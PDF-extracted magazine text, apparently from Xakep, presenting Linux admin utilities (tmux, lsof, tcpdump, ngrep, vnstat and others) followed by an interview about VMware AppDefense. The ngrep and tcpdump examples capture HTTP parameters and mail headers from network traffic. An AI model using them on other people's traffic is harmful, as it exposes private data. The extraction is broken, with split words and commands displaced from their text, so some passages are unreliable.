при митив ными,  дру гие  бес полез ными,  а  третьи  бре довы ми.  Тем  не  менее

в  чемодан чике  каж дого  ува жающе го  себя  линук соида  дол жен  быть  набор

инс тру мен тов  на  раз ные  слу чаи жиз ни. Не  нуж но  сей час —  воз можно,  при‐ 

годит ся в будущем.

mailto:ostapenko.public@gmail.com
https://github.com/aluzzardi/pam_usb
https://github.com/google/google-authenticator-libpam
https://github.com/netblue30/firejail
https://github.com/netblue30/firetools
https://sakurity.com/blog/2016/12/10/serviceworker_botnet.html
http://cryptcat.sourceforge.net/info.php
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SYNACK

Че модан чик  инс тру мен тов — вот  что  отли‐ 
чает опыт ного спе циалис та от нович ка. А в
воп росах,  свя зан ных  с  адми нис три рова‐ 
нием  Linux,  такой  чемодан чик  —  едва  ли
не  самое  важ ное.  В  этой  статье  мы
не  будем  говорить  о  таких  вещах,  как  Na‐
gios, Puppet, Webmin, или изощ ренных ана‐ 
лиза торах  логов  Apache —  обо  всем  этом
ты  дол жен  знать  и  так.  Вмес то  это го  мы
погово рим  о  неболь ших  ути литах,  спо соб‐ 
ных сде лать твою жизнь нам ного про ще.

TMUX
Нач нем c осно вы основ. Как мы все зна ем, глав ный инс тру мент адми нис три‐ 
рова ния Linux — это  , либо из ком плек та OpenSSH, либо обо соб‐ 
ленный, вро де PuTTY или даже при ложе ния для Android. SSH‐кли ент поз воля‐ 
ет  открыть  уда лен ную  сес сию  коман дной  стро ки  и  спо кой но  работать
с машиной, которая находит ся за тысячи километ ров от тебя. Проб лема толь‐ 
ко в том, что это одна сес сия и она не запоми нает сос тояние.

SSH‐кли ент

  реша ет  проб лему. Это  тер миналь ный муль тип лексор,  который  поз‐ 
воля ет  открыть  мно жес тво  тер миналов  в  рам ках  одной  SSH‐сес сии  с  воз‐ 
можностью зак рыть соеди нение, сох ранив сос тояние.

Tmux

Ра бота ет это так. Ты под клю чаешь ся к уда лен ной машине с помощью SSH,
затем уста нав лива ешь на нее  tmux и запус каешь его. На экра не появ ляет ся
кон соль  tmux  со  стро кой  сос тояния  вни зу  и  одним  запущен ным  в  дан ный
момент  тер миналом.  Ты  можешь  работать  с  ним  так  же,  как  обыч но,  плюс
у  тебя  есть  воз можность  откры вать  новые  тер миналы  с  помощью 
и перек лючать ся меж ду ними с помощью   или   (пре дыду‐ 
щий),   (сле дующий).

Ctrl+b  c

Ctrl+b 0..9 Ctrl+b p

Ctrl+b n

Ког да  работа  будет  окон чена,  нажима ешь  ,  что бы  отклю чить ся
от  tmux,  и  раз рыва ешь  соеди нение  с  сер вером.  При  сле дующем  под клю‐ 
чении ты выпол няешь коман ду

Ctrl+b  d

$ tmux attach

и  видишь  все  откры тые  ранее  тер миналы,  запущен ные  в  них  при ложе ния,
исто рию команд и так далее. Все ров но так, как во вре мя отклю чения от tmux.
Более  того,  абсо лют но  неваж но,  с  какой  машины  ты  зашел  во  вто рой  раз,
сес сия tmux будет пол ностью вос ста нов лена.

TMUXINATOR
Tmux поз воля ет не толь ко откры вать тер миналь ные окна в пол ный экран. Он
уме ет  делить  экран  по  вер тикали  ( )  и  горизон тали  ( ).
Это мож но исполь зовать в том чис ле для соз дания чего‐то наподо бие «экра‐ 
на монито рин га»: нап ример, ты можешь запус тить на уда лен ной машине tmux
с  тре мя  откры тыми  окна ми,  в  одном  из  которых  будет монитор  htop,  в  дру‐ 
гом — ути лита tail, выводя щая пос ледние сооб щения из нуж ного лога, а еще
в одном — ути лита df, показы вающая запол ненность фай ловых сис тем.

Ctrl+b  % Ctrl+b  "

На пер вый взгляд такой монитор кажет ся очень удоб ным, но что, если тебе
необ ходимо зак рыть его и запус тить tmux с обыч ными пол ноэк ранны ми окна‐ 
ми, а затем сно ва открыть монитор? Это мож но реали зовать с помощью нес‐ 
коль ких  раз личных  tmux‐сес сий. Но  это  тоже не иде аль ный  вари ант,  потому
что на дру гом сер вере тебе при дет ся нас тра ивать ту же кон фигура цию окон
заново.

 реша ет задачу про ще. Он поз воля ет опи сать нуж ную рас клад ку
окон и запус каемые в них при ложе ния в кон фигура цион ном фай ле. Этот кон‐ 
фиг  затем мож но  исполь зовать  для  быс тро го  запус ка  сес сии  tmux  в  любом
мес те в любое вре мя.

Tmuxinator

Для начала соз дай новый кон фиг:

$ tmuxinator new ИМЯ

Tmuxinator  откро ет  дефол товый  тек сто вый  редак тор,  опре делен ный
в перемен ной EDITOR. В кон це кон фига будут стро ки, опи сыва ющие рас клад‐ 
ку окон. Что бы получить рас клад ку из при мера выше, уда ли их и добавь сле‐ 
дующие стро ки:

windows:

   ‐ editor:

       layout: tiled

       panes:

           ‐ sudo tail ‐f /var/log/vsftpd.log

           ‐ watch df ‐h

           ‐ htop

Этот  кон фиг  опи сыва ет  рас клад ку  tmux  с  одним  окном,  поделен ным  на  три
панели:  пос ледние сооб щения лога  vsftpd,  запол ненность ФС и htop. Оста‐ 
ется толь ко запус тить сес сию:

$ tmuxinator start ИМЯ

Все кон фиги хра нят ся в катало ге  , поэто му их лег ко переме‐ 
щать меж ду машина ми.

~/.tmuxinator

WATCH
Ты мог заметить, что в кон фиге tmuxinator я исполь зовал коман ду 
  вмес то  .  Это  важ но,  так  как  сра зу  пос ле  вывода  таб лицы  раз делов
на  экран    завер шает  свою  работу,  а  нам  необ ходимо  монито рить  сос‐ 
тояние дис ка пос тоян но. Имен но это и поз воля ет сде лать ути лита  . Каж‐ 
дые  две  секун ды  она  переза пус кает  коман ду  ,  поэто му  информа ция
на экра не всег да акту аль на.

watch df ‐

h df  ‐h

df

watch

df  ‐h

Watch  мож но  исполь зовать  для  монито рин га  прак тичес ки  чего  угод но:
сос тояния машины ( ), содер жимого фай лов ( )
и  катало гов  ( ),  мож но  запус кать  под  управле нием
watch  собс твен ные  скрип ты. С  помощью опции    ты можешь изме‐ 
нить интервал переза пус ка коман ды, а с помощью фла га   зас тавить watch
под све чивать изме нения в выводе.

watch uptime watch cat файл

watch  ls  ‐l  каталог

‐n ЧИСЛО

‐d

MULTITAIL
Еще  одна  коман да  из  кон фига  tmuxinator,  о  которой  сто ит  упо мянуть,  —
это  . Эта  коман да выводит пос ледние
десять строк лога vsftpd и ждет появ ления новых. Любой админ дол жен быть
зна ком с tail, а так же ее ана логом в дис три бути вах, осно ван ных на systemd:

sudo tail ‐f /var/log/vsftpd.log

$ journalctl ‐f ‐u vsftpd

Это такое же базовое зна ние, как уме ние перехо дить по катало гам. Но есть
у  tail  более  инте рес ная  аль тер натива  под  наз вани ем  .  Фак тичес ки
это  тот  же  tail,  но  в  мно гоокон ном  вари анте.  Он  поз воля ет  выводить  сра зу
нес коль ко логов, раз деляя экран по горизон тали:

MultiTail

$ sudo multitail /var/log/vsftpd.log /var/log/nginx/access.log

С systemd и его journald все опять же слож нее:

$ multitail ‐l "journalctl ‐f ‐u vsftpd" ‐l "journalctl ‐f ‐u nginx"

Да же еще слож нее:

$ multitail ‐l "journalctl ‐f ‐u vsftpd | tr ‐cd '[:space:][:print:]

'" ‐l "journalctl ‐f ‐u nginx | tr ‐cd '[:space:][:print:]' "

Та кой изврат нужен, что бы уда лить из логов спе циаль ные сим волы, которые
systemd исполь зует для под свет ки строк.

MULTISSH
Вер немся к SSH. Порой одну и ту же коман ду при ходит ся выпол нять на нес‐ 
коль ких  машинах.  Это  мож но  сде лать  в  том  чис ле  с  помощью  стан дар тных
воз можнос тей шел ла:

for host in 192.168.0.1 192.168.0.2; do

   ssh $host "uname ‐a"

done

Ли бо вос поль зовать ся спе циаль ным инс тру мен том, нап ример  :mssh

$ gem install mssh

$ mssh ‐‐hostlist 127.0.0.1,127.0.0.2 "uname ‐a

LSOF
Еще  один  очень  важ ный  инс тру мент  любого  сисад мина  —  lsof  (LiSt  Open
Files). Эта ути лита поз воля ет выяс нить, какой про цесс/при ложе ние открыл те
или  иные  фай лы.  Запущен ная  без  аргу мен тов,  она  выводит  спи сок  всех
откры тых фай лов  и  про цес сов. С  помощью фла гов  этот  спи сок мож но  сде‐ 
лать более кон крет ным. Нап ример, узнать, какие про цес сы исполь зуют фай‐ 
лы ука зан ного катало га:

$ sudo lsof +D /var/log/

Та кая  воз можность  может  очень  при годить ся,  ког да  пыта ешь ся  раз монти‐ 
ровать  фай ловую  сис тему,  но  получа ешь  ошиб ку  Device  or  Resource  Busy.
В  этом  слу чае  дос таточ но  убить  про цес сы,  открыв шие  фай лы  в  ука зан ной
ФС, и ты смо жешь раз монти ровать ее без вся ких проб лем. При менив флаг 
, сде лать это мож но в один про ход:

‐

t

# kill ‐9 `lsof ‐t +D /home`

# umount /home

Вы вод  так же  мож но  про филь тро вать,  исполь зуя  имя  нуж ного  при ложе ния
или  юзе ра.  Нап ример,  сле дующая  коман да  покажет  все  фай лы,  откры тые
про цес сами, чьи име на начина ются на ssh:

$ lsof ‐c ssh

А такая покажет все фай лы, откры тые юзе ром vasya:

$ lsof ‐u vasya

Lsof так же мож но исполь зовать для лис тинга всех сетевых под клю чений:

$ lsof ‐i4

Лис тинг мож но огра ничить опре делен ным пор том:

$ lsof ‐i4 :80

Или получить спи сок всех откры тых пор тов:

$ lsof ‐iTCP ‐sTCP:LISTEN

TCPDUMP
Лю бому  адми ну  при ходит ся  решать  проб лемы  работы  сетевых  служб.
И порой в этом деле не обой тись без сниф фера, который наг лядно покажет,
как про тека ет обмен дан ными и что в этом про цес се может идти не так. Эта‐ 
лоном  сре ди  сниф феров  для  Linux  счи тает ся  ,  но  на  этом  выбор
не закан чива ется. Прак тичес ки любой дис три бутив Linux по умол чанию вклю‐ 
чает в себя кон соль ный сниф фер tcpdump, с помощью которо го мож но быс‐ 
тро разоб рать ся в ситу ации.

Wireshark

За пущен ный без аргу мен тов tcpdump без лиш них слов начина ет выводить
в кон соль спи сок всех пакетов, отправ ленных и при нятых на всех интерфей‐ 
сах машины. С помощью опции   мож но выб рать нуж ный интерфейс:‐i

$ sudo tcpdump ‐i wlp3s0

Что бы  огра ничить  область  дей ствия  tcpdump  толь ко  кон крет ной  машиной
и пор том, мож но исполь зовать такую конс трук цию:

$ sudo tcpdump ‐i wlp3s0 host 192.168.31.1 and port 53

Так же мож но зас тавить tcpdump выводить не толь ко информа цию о пакетах,
но и их содер жимое:

$ sudo tcpdump ‐i wlp3s0 ‐X host 192.168.0.1 and port 80

Ес ли при меня ется шиф рование, в этом нет никако го смыс ла, но с помощью
tcpdump  мож но  ана лизи ровать  дан ные,  переда ваемые  с  исполь зовани ем
про токо лов HTTP и SMTP.

Еще одно инте рес ное уме ние  tcpdump — филь тра ция пакетов по содер‐ 
жанию  кон крет ных  битов  или  бай тов  в  заголов ках  про токо лов.  Для  это го
исполь зует ся  такой  фор мат:  proto[expr:size],  где  proto  —  про токол,  expr  —
сме щение  в  бай тах  от  начала  заголов ка  пакета,  а  size  —  необя затель ное
поле,  ука зыва ющее  на  дли ну  рас смат рива емых  дан ных  (по  умол‐ 
чанию  1  байт).  Нап ример,  что бы  отфиль тро вать  толь ко  пакеты  с  уста нов‐ 
ленным  фла гом  SYN  (ини циация  TCP‐рукопо жатия),  сле дует  исполь зовать
такую запись:

$ sudo tcpdump 'tcp[13]==2'

Фор мат отче тов tcpdump — это стан дарт, его понима ют прак тичес ки все сов‐ 
ремен ные сниф феры. Поэто му  tcpdump мож но исполь зовать для  генера ции
дам па на уда лен ной машине, а затем отпра вить его на локаль ную и про вес ти
ана лиз с помощью того же Wireshark:

$ ssh root@example.ru tcpdump ‐w ‐ 'port !22' | wireshark ‐k ‐i ‐

NGREP
Tcpdump  хорош  сво ей  уни вер саль ностью  и  раз нооб рази ем  воз можнос тей,
одна ко  для  поис ка  кон крет ных  дан ных  внут ри  переда ваемых  пакетов  его
исполь зовать не так прос то и удоб но. С этой задачей гораз до луч ше справ‐ 
ляет ся  ,  пред назна чен ный  для  отоб ражения  сетевых  пакетов,  удов‐ 
летво ряющих задан ной мас ке.

ngrep

Нап ример, что бы най ти парамет ры, переда ваемые метода ми GET и POST
в рам ках HTTP‐сес сии, мож но исполь зовать сле дующую коман ду:

$ sudo ngrep ‐l ‐q ‐d eth0 "^GET |^POST " tcp and port 80

А так мож но про ана лизи ровать SMTP‐тра фик на всех сетевых интерфей сах:

$ sudo ngrep ‐i 'rcpt to|mail from' tcp port smtp

VNSTAT
Сис тем  уче та  тра фика  и  накоп ления  ста тис тики  сущес тву ет  огромное  мно‐ 
жес тво. Неред ко они встро ены пря мо в сис тему уда лен ного управле ния сер‐ 
вером  и  поз воля ют  про ана лизи ровать  рас ходы  с  помощью  наг лядных  гра‐ 
фиков. Но если ты исполь зуешь кон соль и все, что тебе нуж но, — это быс тро
узнать ста тис тику по интерфей сам, то луч ший инс тру мент — это  .vnStat

VnStat  уме ет  накап ливать  ста тис тику  в  неп рерыв ном  режиме,  сох раняя
дан ные  меж ду  перезаг рузка ми,  а  исполь зовать  его  про ще  прос того.
Для начала уста нови пакет и запус ти сер вис vnstat:

$ sudo systemctl start vnstat

$ sudo vnstat ‐u

С  это го момен та  он  нач нет  сбор  ста тис тики.  Для  ее  прос мотра  дос таточ но
выпол нить  такую  коман ду  (wlp3s0  замени  име нем  нуж ного  сетево го
интерфей са):

$ vnstat ‐i wlp3s0

Ста тис тику  мож но  кон кре тизи ровать,  нап ример  вывес ти  почасо вую  ста тис‐ 
тику с гра фиком:

$ vnstat ‐h wlp3s0

Ста тис тику по дням или месяцам:

$ vnstat ‐d wlp3s0

$ vnstat ‐m wlp3s0

Ис поль зуя  флаг  ,  мож но  получить  информа цию  о  десяти  днях  с  самым
боль шим рас ходом тра фика:

‐t

$ vnstat ‐t wlp3s0

Что бы  прос ледить  за  текущей  активностью  на  сетевом  интерфей се,  vnStat
мож но запус тить в live‐режиме:

$ vnstat ‐l ‐i wlp3s0

В  этом  слу чае  он  будет  показы вать  ско рость  переда чи  дан ных  в  текущий
момент,  а  пос ле  завер шения  работы  выведет  ста тис тику  за  все  вре мя  live‐
монито рин га.

IPTRAF-NG
 —  еще  один  удоб ный  инс тру мент  монито рин га  сетевых  интерфей‐ 

сов.  Как  и  vnStat,  он  поз воля ет  получить  деталь ную  ста тис тику  по  исполь‐ 
зованию  канала,  но  наибо лее  полез ная  фун кция  —  реал тайм‐монито ринг
тра фика.

Iptraf‐ng

Iptraf  в  наг лядной фор ме показы вает,  с  какими  хос тами идет обмен дан‐ 
ными в текущий момент, количес тво передан ных пакетов и их объ ем, а так же
фла ги и ICMP‐сооб щения. Для получе ния дос тупа к этой информа ции сле дует
выб рать пункт меню IP traffic monitor на глав ном экра не.

NETHOGS
VnStat  и  iptraf  удоб ны,  ког да  дело  каса ется  получе ния  дан ных  для  все го
интерфей са  в целом. Но  что,  если  тебе нуж но  узнать,  какие  кон крет но при‐ 
ложе ния  в  текущий момент обме нива ются дан ными с  уда лен ными  хос тами?
В  этом  поможет  ути лита NetHogs. Это  сво его  рода  ана лог  ути литы  top/htop
для  монито рин га  сети.  Ты  уста нав лива ешь  ути литу,  а  потом  запус каешь  ее,
ука зав нуж ный сетевой интерфейс:

$ sudo nethogs wlp3s0

На экра не появ ляет ся спи сок при ложе ний, наибо лее час то обме нива ющих ся
дан ными с уда лен ными машина ми.

IOTOP
Раз уж мы загово рили об ана логах top, то нель зя не упо мянуть iotop. Эта ути‐ 
лита поз воля ет уви деть, какие про цес сы выпол няют опе рации записи/чте ния
дис ка. Запус кать ее луч ше с фла гом  , ина че, кро ме тех про цес сов, что
выпол няют ввод/вывод в дан ный момент, она так же покажет часть дру гих про‐ 
цес сов, которые могут спать:

‐‐only

$ sudo iotop ‐‐only

NMON
Приш ло  вре мя  соб рать  все  вмес те.    объ еди няет  воз можнос ти мно гих
рас смот ренных ути лит и поз воля ет в реаль ном вре мени получать ста тис тику
исполь зования  про цес сора,  памяти,  вво да/вывода,  работы  ядра  и  дру гие
дан ные.

Nmon

Nmon  —  кон соль ное  при ложе ние  с  псев догра фичес ким  интерфей сом.
Работа ет оно  так:  ты  запус каешь nmon с пра вами  root,  а  затем добав ляешь
на экран нуж ную тебе информа цию. Нап ример, что бы добавить на экран све‐ 
дения  о  заг ружен ности  про цес сора,  сле дует  нажать  ,  запол ненность  опе‐ 
ратив ной памяти —  , ввод/вывод —  , сеть —  , про цес сы —  , фай ловые
сис темы  —  .  Так  мож но  соз дать  собс твен ную  кон фигура цию  монито ра,
который будет отоб ражать толь ко то, что нуж но тебе.

c
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В этой статье я пос тарал ся обой ти сто роной инс тру мен ты, которые уже дол‐ 
жны быть тебе извес тны. Но если ты все‐таки о них не зна ешь — вот крат кий
спи сок того, что может при годить ся:

 — монитор про цес сов, показы вает тех, кто боль ше все го гру зит
про цес сор;

• top/htop

 — ути лита копиро вания фай лов с уда лен ной машины и на нее по SSH;• scp

 — ска нер пор тов, поз воля ет про вес ти быс трый повер хностный пен‐ 
тест (о нем у нас уже была  );

• nmap

под робная статья
 — сетевой швей цар ский нож, поз воля ет в том чис ле вруч ную под‐ 

клю чать ся к сер верам, работа ющим с plain text про токо лами: HTTP, SMTP;
• netcat

 — ути лита для блоч ного копиро вания дан ных, с нее мож но снять дамп
ФС;

• dd

 — кон соль ный двух панель ный фай ловый менед жер.• mc

ВМЕСТО ЗАКЛЮЧЕНИЯ
Здесь сле дова ло бы в оче ред ной раз ска зать о том, что это толь ко вер хушка
айсбер га,  что  у  каж дого  адми на  свои  инс тру мен ты,  обя затель но  прип лести
гиб кость  Linux и  так далее и  тому подоб ное. Но эта статья  все го  лишь опи‐ 
сыва ет набор хороших инс тру мен тов, которые сде лают твою жизнь про ще.

mailto:zobnin@glc.ru
https://xakep.ru/2016/12/16/ssh-tips-n-tricks/
https://github.com/tmux/tmux/wiki
https://github.com/tmuxinator/tmuxinator
https://www.vanheusden.com/multitail/
https://github.com/square/mssh
https://www.wireshark.org/
http://ngrep.sourceforge.net/usage.html
http://humdi.net/vnstat/
http://wiki.ipfire.org/en/addons/iptraf-ng/start
http://nmon.sourceforge.net/pmwiki.php
https://xakep.ru/2017/03/31/nmap-for-hackers/
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SYNACK

Лан дшафт  решений  для  кор поратив ной  безопас ности  ста‐ 
новит ся  все  слож нее,  и  мно гие  ком пании  спе шат  пред‐ 
ложить  свои  спо собы  интегра ции.  В  VMware,  в  час тнос ти,
работа ют  над  тем,  что бы  уни фици ровать  под ход  к  защите
при ложе ний,  которые  выпол няют ся  в  вир туали зации.  Мы
побесе дова ли  со  стар шим  менед жером  VMware,  что бы
узнать  под робнос ти  о  новом  про дук те  ком пании  —
AppDefense.

Каж дый  год  ком пания  VMware  про водит  кон ферен цию  VMworld,  на  которой
собира ет пар тне ров и прес су,  что бы рас ска зать о новых дос тижени ях. Аме‐ 
рикан ский  VMworld  про ходит  в  Лас‐Вегасе,  евро пей ский  —  в  Бар селоне,
его‐то нам и довелось посетить.

Хоть  вир туали зация  обыч но  не  очень  зре лищ ная  вещь,  в  VMware  таки  при‐ 
дума ли,  как  раз влечь  пуб лику.  Кей ноут  начал ся  с  демонс тра ции  шту ки
под  наз вани ем  VMware  VR  Datacenter  Experience.  Это  аль тер натив ный
интерфейс  к  панели  vCenter,  который  работа ет  в  вир туаль ной  реаль нос ти.
Нуж но перемес тить вир туал ку со сво его сер вера в Amazon? Прос то берешь
ее и швы ряешь в обла ко!

Быть может, это не самый прак тичный интерфейс на све те, но ничего бли же
к  тому,  как  работу  хакеров  изоб ражали  в  фан тасти ке  девянос тых,  нам  пока
видеть  не  при ходи лось.    VR  Datacenter  Experience  написа ны
на Python и лежат на GitHub в откры том дос тупе. Судя по наличию све жих ком‐ 
митов, дело не кон чилось раз вле кухой на кон ферен ции, работа идет.

Ис ходни ки

Из серь езных же вещей для нас, конеч но, инте рес нее все го были анон сы,
свя зан ные с безопас ностью, а их год от года ста новит ся все боль ше. К при‐ 
меру, в этом году в VMware объ яви ли спе цифи кации про токо ла HCX, который
обес печива ет  защищен ный  канал  для  миг рации  вир туаль ных  машин  меж ду
вычис литель ными цен тра ми (как час тны ми, так и пуб личны ми).

Дру гой  важ ный  анонс  был  пос вящен  новому  про дук ту  —  AppDefense.
Ранее  он  был  известен  под  псев донимом  Project  Goldilocks  —  это,  кста ти,
намек на  астро номи чес кий  тер мин,  обоз нача ющий оби таемую зону  звез ды,
а  не  на  ска зоч ного  пер сонажа.  AppDefense  как  бы  приз ван  соз дать  такую
безопас ную зону для при ложе ний.

Ес ли  вкрат це,  то  смысл  AppDefense  в  том,  что  эта  тех нология  поз воля ет
опи сывать  манифес ты  для  вир туаль ных  машин  и  ука зывать,  какие  дей ствия
харак терны для кон крет ной ВМ, а так же какие меры нуж но пред при нять, если
эти пра вила вдруг наруша ются.

Ад мин ская панель AppDefense

Ги пер визор  vSphere  сле дит  за  ядром,  запущен ными  про цес сами  и  ком‐ 
муника циями гос тевой опе раци онной сис темы и све ряет все про исхо дящее
с  манифес том.  Если  AppDefense  обна ружит  подоз ритель ную  активность,  то
сра бота ют заранее задан ные конт рме ры. Все работа ет через откры тый API,
который  смо гут  исполь зовать  раз работ чики.  Это,  нап ример,  поз волит  под‐ 
клю чить к делу анти вирус или иное средс тво выяв ления угроз.

Под робнее  об  AppDefense  и  о  том,  как  в  VMware  под ходят  к  воп росам
безопас ности, нам рас ска зал Гэр ри Оуэн, стар ший менед жер по про дук там
для конеч ных поль зовате лей в реги оне EMEA.

Гэр ри Оуэн

  Безопас ность  ста ла
для  меня  основным  нап равле нием  толь ко  пос ледние  пол года,  а  до  это го
работал  в  R&D.  Занимал ся  реали заци ей  и  выводом  на  рынок  вир туаль ного
рабоче го окру жения и решений, свя зан ных с mobility management.

Я  работаю  в  VMware  без  малого  семь  лет.

  —
отве чал  за менед жмент про дук товых  лине ек  сер веров и опе раци онных  сис‐ 
тем.  А  вооб ще  я  в  этой  индус трии  с  1984  года.  Начинал  как  прог раммист,
в  кол ледже  изу чал  COBOL  —  кажет ся,  этот  факт  выда ет,  что  я  немолод!
Потом я мно го писал на C и перешел на Unix — Linux тог да еще не было.

До  VMware  я  работал  в  Lenovo,  Dell,  Fujitsu  Siemens  и  Sun

  Индус трия  силь но  изме нилась,  сер веры
x86  ста ли  дешевы ми,  мар жа  сузилась,  и  сей час,  что бы  выжить,  нуж но  про‐ 
давать очень мно го. Не ска зать, что это пло хо, но, что бы иметь прос транс тво
для кре ати ва в мар кетин ге, мар жа дол жна быть поболь ше. Это при вело меня
к соф ту.

Пос ле двад цати с  чем‑то лет работы с железом я почувс тво- 
вал,  что  пора  что‑то  менять.

  Говорят даже,  что
VMware  изоб рела  вир туали зацию,  но  это,  конеч но,  пре уве личе ние.  VMware
изоб рела  вир туали зацию  как  биз нес  на  сер верах  x86,  которые  про дают ся
в боль ших количес твах.

Ос нова биз неса VMware — это вир туали зация.

  Нас  нель зя  наз вать  ком пани ей,  спе‐ 
циали зиру ющей ся на безопас ности. Мы не занима емся монито рин гом угроз
и не пишем анти виру сы.

Ког да  я  езжу  на  кон ферен ции  по  безопас ности,  все  под ходят

к  нашему  стен ду  и  спра шива ют:  «Зачем  VMware  здесь?  Вы

не  безопас ники».  И  это  прав да.

 Мы же хотим перевер‐ 
нуть эту модель, точ но так же, как мы про изве ли револю цию с vSphere, поз‐ 
волив вир туали зиро вать вооб ще всё.

Боль шинс тво ИБ‑ком паний про дол жают работать над безопас- 
ностью в рам ках модели, которой уже 35 лет.

 Вся работа сво дит ся  к стро итель ству этой сте ны
на  перимет ре: шире  и  выше  до  бес конеч ности.  В  слу чае  со  мно гими  угро‐ 
зами это при емле мо, но проб лема в том, что если зло умыш ленник пре одо лел
этот периметр, то его уже нич то не оста новит.

Глав ная  тема в ИБ — это по‑преж нему обес печение безопас- 
ности перимет ра сети.

, это была хорошая модель, она прек расно
работа ла  еще  со  вре мен  мей нфрей мов.  Проб лема  в  том,  что  все  изме‐ 
нилось.  Периметр  эффекти вен,  ког да  окру жение  ста биль но:  сис темы  одни
и  те  же,  при ложе ния  находят ся  в  дата‐цен тре,  все  поль зовате ли  работа ют
из одно го зда ния и так далее.

При чина, по которой модель с перимет ром безопас ности уста- 

рела, не в том, что она пло ха

 Мно гие сот рудни ки теперь находят ся
за  пре дела ми  фай рво ла.  Или  при носят  свои  компь юте ры  на  работу.  И  все
это совер шенно необ ходимо, это дает допол нитель ную  гиб кость, поз воля ет
дви гать ся быс трее, луч ше кон куриро вать.

Мир  меня ется,  и  из‑за  мобиль ных  устрой ств  теперь  невоз- 
можно чет ко очер тить периметр.

  Вмес то  того  что бы опи рать ся
на боль шие сте ны вок руг сети, мы дол жны интегри ровать безопас ность вез де
внут ри перимет ра. Ключ к это му — это фича нашего про дук та NSX (он отве‐ 
чает за вир туали зацию сети), которая называ ется «мик росег мента ция».

Ста рая модель боль ше не работа ет.

 Он вир туали зиру ет сеть — берет физичес кую и стро ит  то же в вир‐ 
туали зации.  Мик росег мента ция  поз воля ет  делить  ее  на  мень шие  эле мен ты
нас толь ко  гра нуляр но,  нас коль ко  нам  нуж но,  —  вплоть  до  отдель ных  при‐ 
ложе ний. Каж дая из мик росетей может иметь свои эле мен ты безопас ности.
То  есть  вмес то  того,  что бы  полагать ся  на  защиту  перимет ра,  мы  соз даем
фай рвол вок руг  каж дого при ложе ния или  груп пы при ложе ний. Одно из пре‐ 
иму ществ это го под хода в том, что при ложе ние мож но перемес тить в дру гой
дата‐центр  или  в  обла ко,  но  полити ки  безопас ности  перемес тятся  вмес те
с ним.

NSX  дела ет  для  сетей  то  же,  что  vSphere  дела ет  для  вычис- 

лений.

  Это  пос тепен но  ста новит ся  все  боль шей  проб лемой
для  кор поратив ной  безопас ности.  Каж дая  ком пания  пыта ется  сра жать ся
с угро зами при помощи сво его малень кого про дук та — со сво им интерфей‐ 
сом и со сво им API. Сей час мно гооб разие  уже дос тигло  точ ки,  ког да с ним
невоз можно спра вить ся.

Се год ня  на  рын ке  тысячи  про дук тов,  у  каж дого  из  них  свой

адми нис тра тор ский интерфейс, и они не работа ют друг с дру гом

как  положе но.

  Если  сущес тву ет  такой
слой,  который  вза имо дей ству ет  со  всем,  то  нуж но  добавить  безопас ность
в  него,  и  тог да  мы  авто мати чес ки  защитим  всю  сеть.  Оче вид ное  мес то  —
это гипер визор,  vSphere. NSX уже работа ет вмес те с  vSphere, и AppDefense
тоже встра ивает ся в слой гипер визора.

Мы  решили,  что  луч ший  спо соб  обес печить  безопас ность  —

это най ти мес то в сети, которое будет зат рагивать все: при ложе- 

ния,  сер висы,  мик росер висы,  кон тей неры.

,  который мы пред ста вили сов сем
недав но  —  на  кон ферен ции  в  Лас‐Вегасе.  Он  пред лага ет  новый  спо соб
защитить  при ложе ния,  которые  сущес тву ют  в  вир туали зиро ван ном  окру‐ 
жении.

AppDefense — это новый про дукт

 Боль шинс тво нап равлен ных на борь бу с мал варью про дук‐ 
тов тех же Symantec или McAfee (мы с ними тес но сот рудни чаем) опи рает ся
на такую схе му: кто‐то где‐то заража ется, сооб щает об этом, а раз работ чики
соз дают решение на осно ве рас позна вания сиг натуры. Проб лема в том, что
это работа ет, толь ко если ты уже заранее зна ешь, как выг лядит угро за.

Ста рая модель всег да будет нагонять угро зу вмес то того, что- 

бы опе режать.

  В Великоб ритании Наци ональ ная  служ ба  здра воох ранения
имен но  так понес ла  ущерб из‐за WannaCry,  а  в Аме рике перес тал работать
DHL. Кажет ся, в Рос сии тоже пос тра дало какое‐то боль шое агентство.

К  тому  вре мени,  как  появит ся  решение,  мал варь  уже  рас- 

простра нит ся.

 Вмес то того что бы иден тифици ровать пло хое
поведе ние, он убеж дает ся в  хорошем. То есть, дру гими сло вами, для опре‐ 
делен ного  при ложе ния  или  опре делен ной  вир туаль ной  машины  мы  можем
задать, как выг лядит ее поведе ние, если она не зараже на. Мы можем ска зать,
«что такое хорошо».

AppDefense  под ходит  к  безопас ности  в  вир туали зиро ван ных

при ложе ниях по‑дру гому.

  Нап ример,  помес тить  при ложе ние
в кон тро лиру емое окру жение, или оста новить вир туаль ную машину, или изо‐ 
лиро вать вир туаль ную машину. И все это будет про исхо дить авто мати чес ки.

На  слу чай,  если  воз никнут  откло нения,  AppDefense  поз воля ет

про писать  соот ветс тву ющие меры.

  Сей час  наши  кли енты  жалу‐ 
ются,  что  тонут  в  мно гооб разии  угроз  и  решений.  С  под ходом  VMware  все
дела ется один раз и из одной кон соли управле ния. То есть вмес то того, что‐ 
бы пытать ся  затыкать 25 раз ных дыр, мы чиним всё еди нож ды через  гипер‐ 
визор  при  помощи  еди ного  API.  Но  при  этом  API  открыт,  и  каж дый  может
допол нить сво им решени ем vSphere, NSX и AppDefense.

При этом мы оставля ем мес то и для дру гих вен доров, но они

будут  работать  в  рам ках  новой модели.

но  если  говорить  про  вир туаль ное  окру жение  —  мы  уве рены,  что  наше
решение луч шее.

Мы не единс твен ная ком пания, которая смот рит в эту сто рону,

mailto:apismenny@gmail.com
https://github.com/vmware/vr-dc-ex
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